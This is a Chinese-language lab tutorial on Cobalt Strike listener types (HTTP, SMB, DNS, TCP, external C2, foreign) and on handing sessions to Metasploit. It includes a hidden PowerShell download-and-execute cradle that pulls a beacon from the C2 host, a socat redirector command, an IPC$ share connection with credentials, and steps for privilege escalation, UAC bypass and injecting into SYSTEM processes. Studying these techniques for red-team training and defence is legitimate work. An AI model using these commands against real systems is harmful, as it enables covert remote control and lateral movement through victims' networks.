2. Cobalt Strike之beacon监听器
CS 监听器简介
监听器的概念对我来说其实并不陌生,使用过 MSF 的同学都知道当我们在对端主机执行 payload 的之后,会反弹 meterpreter 的 shell 到接收者主机。我们的接收者主机必须侦听本地预先设置好的端口,对反弹的 shell 进行接收,从而进一步控制对方主机。
- CS监听器的种类有很多:Cobalt Strike → Listeners → Add
Beacon:CS中默认内置的监听器,当我们使用CS生成payload,并在目标主机执行之后,反弹的shell类型就是beacon。
Foreign:主要是提供给外部使用的一些监听器,如你想通过CS接收meterpreter或者armitage的shell,来继续后面的内网渗透,这时就选择使用外部监听器。
从上图可以知道CS4.0提供了8种侦听器:Beacon DNS、Beacon HTTP、Beacon HTTPS、Beacon TCP、Beacon C2、foreign HTTP、Foreign HTTPS。在讲监听器之前,需要简单的了解一下payload的类型:
- Singles:独立载荷,可以直接植入目标系统并执行相应的程序,如:shell_bind_tcp。简单来讲就执行一个动作后就结束了,没有后续的内容,就比如打开一个calc。
- Stagers:传输器载荷,用于目标机和攻击机之间建立稳定的网络连接,和stages载荷进行配合攻击。体积非常小,方便漏洞利用注入,大致分为bind[主动连接目标IP和端口]和reverse[目标反向连接攻击机的IP和端口]
- Stages:传输体载荷,在Stagers建立好稳定连接后,攻击机讲Stages传输给目标机,由Stagers进行处理,将控制权交给stages。比如得到目标机的shell或者meterpreter控制程序,本端输入相应的命令控制目标机。
拓展:MSF 中的 meterpreter 它就需要 stagers 和相应的 stages 配合运行,运行于内存中,通过注入 dll 文件实现,在目标机硬盘上不会留下文件痕迹,所以被入侵时很难找到。
Listeners of HTTP&HTTPS Beacon
HTTP&HTTPS Beacon 介绍
Beacon HTTP 和 Beacon HTTPS:默认情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务,这些 Beacon 通过 HTTP POST 请求传回数据。
- HTTP Hosts:在完成Stager的建立后,需要将服务器收到的数据交给谁。
- HTTP Host(Stager):控制HTTP Beacon的Stager主机,主要还是这个参数,代表着被渗透的主机需要向谁去请求任务。那么在一般情况下,以上两个IP我们都会配置成一致的,Stager IP一般都是CS服务器的IP地址,Hosts列表中一般包含了CS服务器端IP。
- Profile:通过C2扩展文件来尽可能地控制这个payload的行为和流量指标。使用变体文件后,设置每个HTTP或HTTPS监听器会有不同的网络流量指标。
- HTTP Port(C2):设置回连的端口。
- HTTP Port(bind):端口重定向,接收某个80或443端口的连接,重定向到另一个服务器的某个端口上。
- HTTP Host Header:添加头部信息。
- HTTP Proxy字段:添加一个代理,ignore使用直连的方式来强制不通过代理请求HTTP和HTTPS。
C2 和重定向
重定向器:重定向器位于目标网络和团队服务器之间,任何去往重定向器的连接将转发到你的团队服务器进行处理。通过重定向器,可以将 Beacon payload 提供多个回连主机。同时会为服务器真实地址的溯源变得更加困难。
- C2 Redirectors,在现有的C2上增加一个中转服务器,这个中转服务器起到流量分离的作用,C2流量可以被中转到不同战术意义的服务器,比如打完就走的短期C2、需要长期控制驻留的C2和邮件钓鱼服务器等。CS提供重定向的功能,若监听器中Hosts列表中存在不是团队服务器的IP,则CS会认为它是重定向器。
- 重定向器可以使用Socat来完成重定向
1 | socat TCP4-LISTEN:80,fork TCP4:192.168.12.100:80 |
HTTP-Beacon 实战
实验环境:同一个局域网中,攻击者CS-Server-192.168.222.134,失陷主机192.168.222.140
实验步骤
- 第一步:创建好监听器
- 第二步:创建payload,这里我创建了windows中的可执行文件。关于payload的更多内容见后续。
- 第三步:在目标主机上执行可执行文件
- 第四步:获取目标主机的权限。在Cobalt Strike中它的心跳默认是60s(即sleep时间为60s,每一分钟目标主机与teamserver通信一次),这会让我们执行命令或进行其他操作响应很慢。例如我执行sleep 5将心跳时间改为5s,也必须等待last时间达到60s后才会传送执行该命令。
在 Beacon 中无法直接执行 cmd 命令,执行需如下:shell ipconfig。
更多的命令可以详见当前目录下的 beacon command,或者 help [command]
1 | Beacon Commands |
- HTTP Beacon 抓包结果如下:受害机每 5S 向 Server 发送 get 请求获取任务
Listeners of SMB Beacon
IPC$管道简介
传统管道:没有名字,用于进程之间的通信,持续时间和进程生命周期相同。稍微解释一下,我们都知道 CPU 在一个时间里只能处理一个进程,但是处理的速度非常快让你觉得多个程序在一起运行,且进程和进程之间是相互隔离的。
命名管道:有自己的名字,生命周期和系统时间一样长,远长于进程声明周期。windows 的共享就是使用”命名管道”,通过提供可信任的用户名和口令,连接双方就可以建立安全的通道以此进行数据交换,实现对远程计算机的访问。利用 IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码。
需要我们清楚的是IPC$并不是漏洞,它的初衷是为了方便管理员的远程管理
1 | net use \\192.168.222.134\IPC$ "0.123123" /USER:"Win7-LMB" |
- 尝试查看目标主机的时间
- 磁盘映射:net use z: \192.168.222.134\c$ # 将目标靶机的 C 盘映射到本地 z 盘
- 文件拷贝:copy test.txt \192.168.222.134\c$
SMB Beacon 简介
粗略的讲了一下什么是管道,接下来开始讲 SMB Beacon。SMB Beacon 使用命名管道通过一个父 Beacon 进行通信,而这种通信又封装在 SMB 协议中,所以叫 SMB Beacon。被渗透的主机中此时有两个进程,一个为父 Beacon,它可能是 HTTP 也可能是 DNS Beacon;还有一个就是 SMB Beacon,它主要用于提权和后渗透内网横向扩展等。
SMB Beacon 实战
实验步骤:
- 第一步:首先我们需要一个父进程,这里就是用HTTP Beacon控制的一台主机
- 第二步:创建SMB Beacon监听器,这里的SMB Beacon模块会自动给我们生成管道的名字,不过你也可以自己命名。
- 第三步:我们尝试对这个会话提权
这里 CS 提供的两个实用的提权模块
这里我选择了直接使用 SVC-EXE 工具进行 system 最高权限的提权。SMB-Beacon 会通过 HTTP Beacon 挑选一个 system 进程进行 pipe 传输 svc-exe 后提权,然后再由这个 system 进程返回会话。
这里如果使用 svc-exe 没有提权成功的话,可以先使用 uac 绕过后再进行提权
Link and unlink
在 Beacon 控制台,使用 link [host] [pipe] 来把当前的 Beacon 链接到一个等待连接的 SMB Beacon。当前 Beacon check in,它的链接的对等 Beacon 也会 check in。简单来将就是同步更新获取任务,父刷新子刷新,父 GG 子 GG。
- 执行unlink [ip address] [session PID] 断开一个 Beacon 链接
这种 beacon 在内网横向渗透中运用的很多,横向渗透之后再讲。在内网环境中可以使用 ipc $将生成的 SMB Beacon 上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link )去连接他。
Listeners of DNS Beacon
DNS Beacon 简介
Payload 将使用 DNS 请求的方式来将 Beacon 返回给你,通过 DNS 响应来告诉 Beacon 休眠或是连接到团队服务器来下载任务。在此 payload 种没有 HTTP 的通信模式。先前提到的 Beacon HTTP 或者 HTTPS 是通过 IP 地址来下载服务器给出的任务,但是在 Beacon DNS 中通过 A 记录来下载任务。
Check in:Beacon DNS 会进行心跳回连,所谓的心跳回连是指 DNS 服务器发送一个 xxx.xxx.com 的 DNS 请求,仅此而已!不会直接返回受害机器的任何信息,因为没有 check in。使用其它命令比如 whoami 后,它首先会自动 check in 后再执行其他命令,这就是 Beacon DNS 的直到由可用任务时才会 check in。
- DNS Hosts:添加一个或多个beacon通信的域名,创建一个DNS A记录然后指向你的CS团队服务器,使用DNS NS记录将多个域名或子域名映射到你CS服务器的A记录。
DNS Beacon 实战
这次主要测试的是 CS DNS Beacon 模块的功能,所以这里我就不搭建很复杂的环境了。两台虚拟机,一台作为 CS’s Server 一台为被害机。DNS 的配置,由于环境简单网络中没有 DNS 服务器,这里就直接使用修改 hosts 文件的方法。 Server 解析 dnsbeacon.lmb.com 的时候是本地回环地址。接着 server 配置 DNS 服务器为自己,受害机配置 DNS 服务器为 Server。
- 测试受害机是否能够正常解析dnsbeacon.lmb.com:以下测试成功后进入下一步
- DNS Beacon创建:和之前HTTP Beacon相同,HOST用于建立Stager。
- 感染传播:为了方便考虑这里使用powershell的方式,通过http get方式下载dns Beacon。
- 生成的powershell
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://dnsbeacon.lmb.com:80/a'))" |
- 将生成的powershell在目标主机上运行
- Server上getShell
- 在Server上get到会话:但是注意到该会话没有任何信息,这就是我们之前讲到关于check in的注意点,渗透机仅仅只是请求了一个DNS了。
- 接下来将beacon的数据通信模式改为dns-txt并发送一个check in让被渗透主机尝试获取一个空任务。我们可以看到DNS-beacon返回了被渗透主机的信息!
- wireshark抓包:Server数据通信都通过dns的传输方式
DNS 数据通道
DNS Beacon 提供了三种数据通道:A、AAAA、txt,A 记录和 AAAA 记录分别用于 IPv4 和 IPv6,而 TXT 记录呢则是为某条记录设置说明。比如你新建了 dnsbeacon.lmb.com 的 TXT 记录,TXT 记录内容”this is a test of Cobalt Strike’s DNS beacon”,然后你用 nslookup -qt=txt dnsbeacon.lmb.com ,你就能看到以上的内容字样。
- 在CS中这三个通道分别为:dns、dns6、dns-txt
Listeners of TCP and C2 External Beacon
TCP Beacon 介绍及实战
TCP Beacon 使用一个 TCP socket 来通过一个父 Beacon 通信,从某种角度上来讲和 SMB Beacon 有异曲同工之处,只不过封装的协议不同罢了。使用方法也非常的类似,SMB Beacon 的缺点就是对端主机必须有开启 445 端口,但是 TCP Beacon 的话就没有类似的限制。
被渗透的主机发起的 TCP 端口是随机的,而和它建立连接的 Server 端口则是可以通过手动的方式指定的。如下图所示的 Port (C2),C2 则指明了 Command Control 服务器的端口,默认情况下为 4444。
- Bind to localhost only:该载荷仅仅只能绑定到本地地址,通常用于监听一个会话
TCP Beacon实战:之前提到TCP Beacon的作用和SMB相同,所以我们实战的流程也是差不多的。首先建立TCP Beacon,接着绑定父beacon然后提权。
得到Administrator权限后,这次通过寄生一个system权限的进程获得最高权限。
找一个System权限运行的进程,植入TCP Beacon后反弹权限,注意这里最好不好找系统进程,因为植入系统进程后不稳定性可能导致被渗透主机重启。当然如果配置的用户本身权限就不足以打开该进程,则会注入失败。
从Beacon控制台,使用connect [ip address] [port] 来把当前的 Beacon 连接到一个等待连接的TCP Beacon。当当前的会话 check in,它的链接的对等Beacon也check in。如果说要销毁一个链接的话还是使用unlink。
C2 External Beacon介绍
扩展C2 Beacon是一种规范,允许第三方程序充当Cobalt Strike的Beacon payload 的通信层,使用外置C2服务器来与Cobalt Strike团队服务器交互。
- Port(Bind):注意这里是Bind不是C2,就意味着绑定的端口为外置C2服务器等待连接的端口。
- 外置 C2 监听器与其他 Cobalt Strike 监听器不同。这个监听端口其实是一个数据接收端口,没有相关的其他监听器的功能,所以不能用来发一些后渗透指令过去。
- 这里目前对这个Beacon的使用资料并不是很多,所以暂时无法展示该Beacon的使用方法和实战,若之后的学习过程中有进展的话,我会再次扩展。
Listeners of Foreign Listeners
Foreign Listeners介绍
我们在最开始的HTTP Beacon那一张的时候讲到,Listener分为Beacon和Foreign。Foreign是为其它外部侦听器服务的,怎么说呢?Cobalt Strike获得了一个主机的权限,想要把这个shell交给其它人使用,则可以使用Foreign将权限传递给其它人。
- HTTP Host(Stager):和对端Stager建立通道,PORT则是对端Stager侦听的端口
Foreign实战
环境准备:
- Cobalt Strike Teamserver - 192.168.222.134
- Metasploit Server - 192.168.222.129
- Win7 exploit - 192.168.222.140
首先我们的CS服务器需要获得被渗透主机的权限,这里我们怎么操作再熟悉不过了,直接使用HTTP 或者 DNS Beacon来完成。
此时我们的同伴使用MSF渗透框架,想进一步对目标主机进行渗透,我们就可以通过Foregin Beacon将该会话传给对方。
在Metasploit上配置侦听的IP和接口,用于接收shell。这里就需要使用到MSF的侦听模块handler,可以使用MSF Search功能直接搜索。让后设置侦听的载荷,由于CS支持的Foreign只有HTTP 和HTTPS,所以这里我们在MSF里设置的也必须是reverse_http或者reverse_https。
在CS服务器上复制会话,并交给Metaspliota
创建Foreign Listener,设置MSF的IP和它侦听的端口
发送会话:值得一提的是这里发送新会话的并不是CS服务器,而是被渗透主机中某个被嵌入Foreign HTTP的程序,所以你CS端关闭的时候,也不会影响MSF中的会话。
MSF得到权限: